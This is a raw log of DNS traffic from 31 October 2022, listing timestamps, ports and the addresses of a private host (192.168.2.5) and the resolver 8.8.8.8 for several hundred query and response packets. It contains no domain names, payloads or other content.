Oct 31, 2022 12:19:31.916485071 CET	53	59220	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.920218945 CET	55068	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.941152096 CET	53	55068	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.948231936 CET	56682	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.967048883 CET	53	56682	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.969750881 CET	53	55039	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.974533081 CET	58532	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.000077963 CET	53	58532	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.010677099 CET	62659	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.031588078 CET	53	62659	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.040576935 CET	58581	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.060446978 CET	53	58581	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.067931890 CET	56263	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.090188026 CET	53	56263	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.099493027 CET	65513	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.127593994 CET	53	65513	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.139236927 CET	56687	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.158693075 CET	53	56687	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.171751022 CET	64419	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.197094917 CET	53	64419	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.205796003 CET	52688	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.227138996 CET	53	52688	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.244863033 CET	61344	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.266033888 CET	53	61344	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.273159027 CET	53972	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.292861938 CET	53	53972	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.312454939 CET	64932	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.333720922 CET	53	64932	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.353329897 CET	58472	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.372840881 CET	53	58472	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.383399010 CET	60177	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.411767006 CET	53	60177	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.422178984 CET	60284	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.441348076 CET	53	60284	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.805675030 CET	60019	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.843833923 CET	53	60019	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.846282005 CET	50902	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.874219894 CET	53	50902	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.882972956 CET	53823	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.905185938 CET	53	53823	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.911679983 CET	49769	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.939284086 CET	53	49769	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:32.946475983 CET	49579	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:32.967822075 CET	53	49579	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.306808949 CET	53555	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.333967924 CET	53	53555	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.357681036 CET	61293	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.378720045 CET	53	61293	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.414866924 CET	50086	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.434086084 CET	53	50086	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.441075087 CET	52188	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.463356972 CET	53	52188	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.522772074 CET	54585	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.543673992 CET	53	54585	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.550987005 CET	52100	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.572360039 CET	53	52100	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.578829050 CET	60908	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.599524021 CET	53	60908	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.613023043 CET	58623	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.741292953 CET	53	58623	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.760229111 CET	65493	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.781404972 CET	53	65493	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.789362907 CET	57482	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.816642046 CET	53	57482	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.842993975 CET	52096	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.856271982 CET	62057	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:33.865559101 CET	53	52096	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:33.896939993 CET	53	62057	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.266489029 CET	60294	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:34.292526960 CET	53	60294	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.316076040 CET	63728	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:34.337311983 CET	53	63728	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.346190929 CET	50077	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:34.349211931 CET	49959	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:34.373466015 CET	53	50077	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.899054050 CET	53	49959	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.906615973 CET	55609	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:34.923876047 CET	53	55609	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.933540106 CET	58872	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:34.953908920 CET	53	58872	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.961807013 CET	52892	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:34.983251095 CET	53	52892	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:34.990408897 CET	65330	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.011138916 CET	53	65330	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.018277884 CET	52973	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.039901018 CET	53	52973	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.067004919 CET	50005	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.088526964 CET	53	50005	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.098949909 CET	61190	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.118464947 CET	53	61190	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.127361059 CET	62000	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.233927965 CET	53	62000	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.879125118 CET	62934	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.897980928 CET	53	62934	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.916824102 CET	51396	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.919306993 CET	59862	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.942387104 CET	53	51396	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.964627981 CET	58441	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:35.983756065 CET	53	58441	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:35.990546942 CET	51972	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.016944885 CET	53	51972	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.034214020 CET	49258	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.053173065 CET	53	49258	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.058588982 CET	55726	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.075932026 CET	53	55726	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.087238073 CET	53	59862	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.092003107 CET	57924	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.109998941 CET	53	57924	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.128288984 CET	61928	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.150053024 CET	53	61928	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.157036066 CET	53427	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.176702976 CET	53	53427	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.185790062 CET	60179	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.207314014 CET	53	60179	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.213133097 CET	57377	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.234678984 CET	53	57377	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.240333080 CET	63938	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.261771917 CET	53	63938	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.267828941 CET	50444	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.289114952 CET	53	50444	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.297079086 CET	59805	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.322964907 CET	53	59805	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.328371048 CET	51723	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.357789040 CET	53	51723	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.364430904 CET	64494	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.472330093 CET	53	64494	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.500479937 CET	64310	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.522711992 CET	53	64310	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.530611992 CET	49261	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.558679104 CET	53	49261	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.581486940 CET	54367	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.600297928 CET	53	54367	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.607451916 CET	59583	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.616563082 CET	50562	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:36.644622087 CET	53	50562	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:36.644656897 CET	53	59583	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.040363073 CET	56114	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.061614037 CET	53	56114	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.067003965 CET	61016	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.071773052 CET	59296	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.099833965 CET	53	59296	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.107310057 CET	53	61016	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.113713026 CET	55592	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.133356094 CET	53	55592	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.159950018 CET	65115	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.194629908 CET	53	65115	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.592168093 CET	60187	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.613279104 CET	53	60187	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.615214109 CET	62047	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.623959064 CET	60582	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.643096924 CET	53	62047	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.650185108 CET	53	60582	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.672054052 CET	50454	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.694238901 CET	53	50454	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.703938961 CET	56590	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.731646061 CET	53	56590	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.739639044 CET	54772	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.758783102 CET	53	54772	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.766036987 CET	64916	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.799093962 CET	53	64916	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.846152067 CET	63907	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.896054029 CET	53	63907	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.901927948 CET	61797	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.923422098 CET	53	61797	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:37.934067965 CET	62604	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:37.955621004 CET	53	62604	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.016320944 CET	64760	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.037861109 CET	53	64760	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.048203945 CET	58373	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.067599058 CET	53	58373	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.080800056 CET	61887	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.113594055 CET	53	61887	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.169123888 CET	60870	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.187989950 CET	53	60870	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.194469929 CET	57508	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.217148066 CET	53	57508	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.225773096 CET	60032	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.246988058 CET	53	60032	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.253804922 CET	60368	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.279558897 CET	53	60368	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.287765980 CET	63957	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.306569099 CET	53	63957	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.329530954 CET	56478	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.352333069 CET	53	56478	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.362986088 CET	52294	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.384635925 CET	53	52294	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.392364979 CET	56344	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.413801908 CET	50777	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.431441069 CET	53	50777	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.435220957 CET	53	56344	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.489140034 CET	63156	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.515039921 CET	53	63156	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.525554895 CET	54940	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.573239088 CET	53	54940	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:38.580905914 CET	52622	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:38.602130890 CET	53	52622	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.025027037 CET	60845	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.046132088 CET	53	60845	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.055596113 CET	56187	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.076723099 CET	53	56187	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.145095110 CET	54577	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.172972918 CET	53	54577	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.209091902 CET	55622	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.228283882 CET	53	55622	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.251122952 CET	57273	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.301578999 CET	53	57273	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.329693079 CET	52874	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.351044893 CET	53	52874	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.364073038 CET	62235	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.385891914 CET	53	62235	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.464081049 CET	63333	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.485641956 CET	53	63333	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.662169933 CET	57114	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.684423923 CET	53	57114	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.766190052 CET	54447	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.787837982 CET	53	54447	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.797127962 CET	58182	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.847800970 CET	53	58182	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.863698959 CET	51524	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:39.885195971 CET	53	51524	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:39.890840054 CET	51316	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:40.000999928 CET	53	51316	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:40.315051079 CET	63761	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:40.529295921 CET	49797	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:40.555095911 CET	53	49797	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:41.437227011 CET	63761	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:42.924741030 CET	53	63761	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:43.425649881 CET	63761	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:43.835032940 CET	53	63761	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:44.450177908 CET	49247	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:44.479281902 CET	53	49247	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:44.488102913 CET	63520	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:44.499906063 CET	55370	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:44.507427931 CET	53	63520	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:44.512689114 CET	56967	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:44.525279999 CET	54460	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:44.537156105 CET	53	55370	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:44.539751053 CET	53	56967	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:44.652318001 CET	53	54460	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:44.663239956 CET	51806	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:44.770256042 CET	53	51806	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:45.420604944 CET	54989	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:45.445990086 CET	53	54989	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:45.879939079 CET	53	63761	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:46.157844067 CET	56896	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:46.183161020 CET	53	56896	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:46.710159063 CET	56057	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:46.738297939 CET	53	56057	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.621853113 CET	58162	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.666575909 CET	53917	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.685723066 CET	53	53917	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.689373016 CET	61204	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.716932058 CET	53	61204	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.725852013 CET	61145	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.727628946 CET	53	58162	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.731483936 CET	59944	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.744666100 CET	53	61145	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.749305964 CET	53	59944	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.749844074 CET	52633	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.769282103 CET	53	52633	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.776531935 CET	55945	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.794258118 CET	53	55945	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:48.798801899 CET	55177	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:48.819308043 CET	53	55177	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:50.965976954 CET	63898	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:50.993474960 CET	53	63898	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:52.516469002 CET	63447	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:52.535466909 CET	53	63447	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:52.825753927 CET	63102	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:52.842622995 CET	53	63102	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:52.847336054 CET	56150	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:52.872242928 CET	56043	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:52.875047922 CET	53	56150	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:52.890984058 CET	53	56043	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:52.939048052 CET	56607	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:52.942774057 CET	63247	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:52.959621906 CET	53	63247	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:53.067781925 CET	54422	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:53.107919931 CET	53	54422	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:53.584047079 CET	49232	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:53.611668110 CET	53	49232	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:53.971004009 CET	56607	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:54.059920073 CET	58394	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:54.086199999 CET	53	58394	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:54.619012117 CET	50837	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:54.638484955 CET	53	50837	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:54.643486977 CET	50201	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:54.702044010 CET	53	50201	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:54.961357117 CET	56607	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:55.341057062 CET	60623	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:55.366843939 CET	53	60623	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:55.395334005 CET	53	56607	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:56.412231922 CET	53	56607	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:56.582487106 CET	55515	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:56.610542059 CET	53	55515	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:57.358171940 CET	53	56607	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:57.383405924 CET	62649	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:57.411168098 CET	53	62649	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:59.037362099 CET	61634	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:59.055155039 CET	53	61634	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:59.090202093 CET	51159	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:59.121289015 CET	57410	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:59.141027927 CET	53	57410	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:59.193759918 CET	56536	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:59.232141972 CET	58326	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:59.235315084 CET	53	51159	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:59.265645027 CET	53	58326	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:59.301922083 CET	53	56536	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:59.313254118 CET	62729	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:59.340713024 CET	53	62729	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:00.232431889 CET	58716	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:00.235089064 CET	56936	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:00.237978935 CET	60508	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:00.254167080 CET	53	56936	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:00.258560896 CET	53	60508	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:00.260026932 CET	53	58716	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:00.294300079 CET	64503	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:00.313827038 CET	53	64503	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:01.194662094 CET	62030	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:01.212392092 CET	53	62030	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:01.277132034 CET	57198	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:01.317362070 CET	53	57198	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:01.428967953 CET	57766	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:01.456481934 CET	53	57766	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:01.728516102 CET	50674	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:01.756500959 CET	53	50674	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:01.849015951 CET	64192	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:01.877537012 CET	53	64192	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:02.246624947 CET	63663	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:02.265939951 CET	53	63663	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:03.371571064 CET	65443	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.390492916 CET	53	65443	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:03.394226074 CET	64037	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.418102980 CET	57069	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.421883106 CET	53	64037	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:03.492925882 CET	53968	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.512106895 CET	53	53968	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:03.516115904 CET	59103	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.526130915 CET	49537	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.527440071 CET	53	57069	8.8.8.8	192.168.2.5
